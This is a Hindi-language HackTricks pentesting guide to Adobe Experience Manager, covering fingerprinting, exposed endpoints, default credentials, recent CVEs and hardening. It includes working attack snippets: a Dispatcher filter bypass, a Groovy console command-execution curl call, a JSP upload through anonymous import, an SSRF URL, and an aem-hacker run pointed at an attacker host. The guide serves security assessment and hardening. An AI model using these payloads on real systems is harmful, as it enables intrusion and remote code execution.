9.9 KiB
Raw Blame History

AEM (Adobe Experience Manager) Pentesting

{{#include ../../banners/hacktricks-training.md}}

Adobe Experience Manager (AEM, Adobe Experience Cloud का हिस्सा) एक एंटरप्राइज CMS है जो Apache Sling/Felix (OSGi) और एक Java Content Repository (JCR) के ऊपर चलता है। हमलावर के दृष्टिकोण से AEM उदाहरण अक्सर खतरनाक विकास एंडपॉइंट्स, कमजोर Dispatcher नियम, डिफ़ॉल्ट क्रेडेंशियल और CVEs की एक लंबी श्रृंखला को उजागर करते हैं जो हर तिमाही पैच किए जाते हैं।

नीचे दी गई चेकलिस्ट बाहरी रूप से पहुंच योग्य (unauth) हमले की सतह पर केंद्रित है जो वास्तविक अभियानों (2022-2025) में बार-बार दिखाई देती है।


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

अन्य त्वरित संकेत:

  • /etc.clientlibs/ स्थिर पथ मौजूद है (JS/CSS लौटाता है)।
  • /libs/granite/core/content/login.html लॉगिन पृष्ठ जिसमें “Adobe Experience Manager” बैनर है।
  • </script><!--/* CQ */--> टिप्पणी HTML के नीचे।

2. उच्च-मूल्य वाले अनधिकृत एंडपॉइंट

पथ आपको क्या मिलता है नोट्स
/.json, /.1.json JCR नोड्स via DefaultGetServlet अक्सर अवरुद्ध, लेकिन Dispatcher bypass (नीचे देखें) काम करता है।
/bin/querybuilder.json?path=/ QueryBuilder API पृष्ठ वृक्ष, आंतरिक पथ, उपयोगकर्ता नाम का लीक।
/system/console/status-*, /system/console/bundles OSGi/Felix कंसोल डिफ़ॉल्ट रूप से 403; यदि उजागर और क्रेडेंशियल्स पाए गए ⇒ बंडल-अपलोड RCE।
/crx/packmgr/index.jsp पैकेज प्रबंधक प्रमाणीकृत सामग्री पैकेजों की अनुमति देता है → JSP पेलोड अपलोड।
/etc/groovyconsole/** AEM Groovy कंसोल यदि उजागर → मनमाना Groovy / Java निष्पादन।
/libs/cq/AuditlogSearchServlet.json ऑडिट लॉग जानकारी का खुलासा।
/libs/cq/ui/content/dumplibs.html ClientLibs डंप XSS वेक्टर।

Dispatcher बायपास ट्रिक

अधिकांश उत्पादन साइटें Dispatcher (रिवर्स-प्रॉक्सी) के पीछे होती हैं। इसके फ़िल्टर नियमों को एक अनुमत स्थिर एक्सटेंशन सेमीकोलन या एन्कोडेड न्यूलाइन के बाद जोड़कर बायपास किया जा सकता है:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

एकल अनुरोध जैसे ऊपर अक्सर उपयोगकर्ता प्रोफ़ाइल नोड्स को ईमेल पतों के साथ प्रकट करता है। P-T Partners ने इस कमजोरी पर अच्छी मार्गदर्शिका प्रकाशित की है। 【】


3. सामान्य गलत कॉन्फ़िगरेशन (2025 में अभी भी जीवित)

  1. गुमनाम POST सर्वलेट POST /.json के साथ :operation=import आपको नए JCR नोड्स लगाने की अनुमति देता है। डिस्पैचर में *.json POST को ब्लॉक करना इसे ठीक करता है। 【】
  2. विश्व-प्रवेश योग्य उपयोगकर्ता प्रोफ़ाइल डिफ़ॉल्ट ACL /home/users/**/profile/* पर सभी को jcr:read प्रदान करता है।
  3. डिफ़ॉल्ट क्रेडेंशियल्स admin:admin, author:author, replication:replication
  4. WCMDebugFilter सक्षम ⇒ ?debug=layout के माध्यम से परावर्तित XSS (CVE-2016-7882, अभी भी विरासती 6.4 इंस्टॉलेशन पर पाया गया)।
  5. Groovy कंसोल उजागर एक Groovy स्क्रिप्ट भेजकर दूरस्थ कोड निष्पादन:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. हाल की कमजोरियाँ (सेवा-पैक की आवृत्ति)

तिमाही CVE प्रभावित प्रभाव
दिसंबर 2024 CVE-2024-43711 6.5.21 और पहले अनुचित इनपुट मान्यता → मनमाना कोड निष्पादन (कम-priv auth की आवश्यकता)। 【】
दिसंबर 2024 CVE-2024-43724/26 6.5.21 और पहले Move Page Wizard में DOM / स्टोर की गई XSS। 【】
दिसंबर 2023 CVE-2023-48452/68 ≤ 6.5.18 तैयार URL के माध्यम से DOM-आधारित XSS। 【】
दिसंबर 2022 CVE-2022-30683 ≤ 6.5.13 क्रिप्टो डिज़ाइन दोष → गुप्त डिक्रिप्शन (कम-priv क्रेडेंशियल्स की आवश्यकता)। 【】

हमेशा ग्राहक की सेवा-पैक से मेल खाने वाले APSB बुलेटिन की जांच करें और नवीनतम 6.5.22 या Cloud Service 2024.11 का अनुरोध करें।


5. शोषण स्निप्पेट्स

5.1 डिस्पैचर बायपास + JSP अपलोड के माध्यम से RCE

यदि गुमनाम लेखन संभव है:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

अब /content/evil.jsp का अनुरोध करें - JSP AEM प्रक्रिया उपयोगकर्ता के साथ चलती है।

5.2 SSRF से RCE (ऐतिहासिक < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py aem-hacker से पूरी श्रृंखला को स्वचालित करता है। 【】


6. उपकरण

  • aem-hacker स्विस-आर्मी एन्यूमरेशन स्क्रिप्ट, डिस्पैचर बायपास, SSRF पहचान, डिफ़ॉल्ट-क्रेड्स जांच और अधिक का समर्थन करता है।
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **Content Brute-force**  छिपे हुए घटकों को खोजने के लिए `/_jcr_content.(json|html)` को पुनरावृत्त रूप से अनुरोध करें।
* **osgi-infect**  यदि क्रेड्स उपलब्ध हैं तो `/system/console/bundles` के माध्यम से दुर्भावनापूर्ण OSGi बंडल अपलोड करें।

---

## 7. हार्डनिंग चेकलिस्ट (आपकी रिपोर्ट की सिफारिशों के लिए)

1. **नवीनतम संचयी सेवा पैक** पर इंस्टेंस रखें (जुलाई 2025 के अनुसार: 6.5.22)।
2. डिफ़ॉल्ट खातों को हटा दें/घुमाएं; SSO/SAML को लागू करें।
3. **Dispatcher फ़िल्टर** को कड़ा करें - अनाम उपयोगकर्ताओं के लिए `;`, एन्कोडेड नई पंक्तियाँ, और `*.json` या `*.querybuilder.json` को अस्वीकार करें।
4. कंसोल्स (`/system/console`, `/crx/*`, `/etc/groovyconsole`) को IP अनुमति-सूचियों के साथ अक्षम या सुरक्षित करें।
5. Adobe द्वारा भेजे गए *Anonymous Permission Hardening* पैकेज को लागू करें।

## संदर्भ

* Adobe सुरक्षा बुलेटिन APSB24-69  “Adobe Experience Manager के लिए सुरक्षा अपडेट (दिसंबर 2024)”.
* 0ang3el  aem-hacker उपकरण (GitHub).
{{#include ../../banners/hacktricks-training.md}}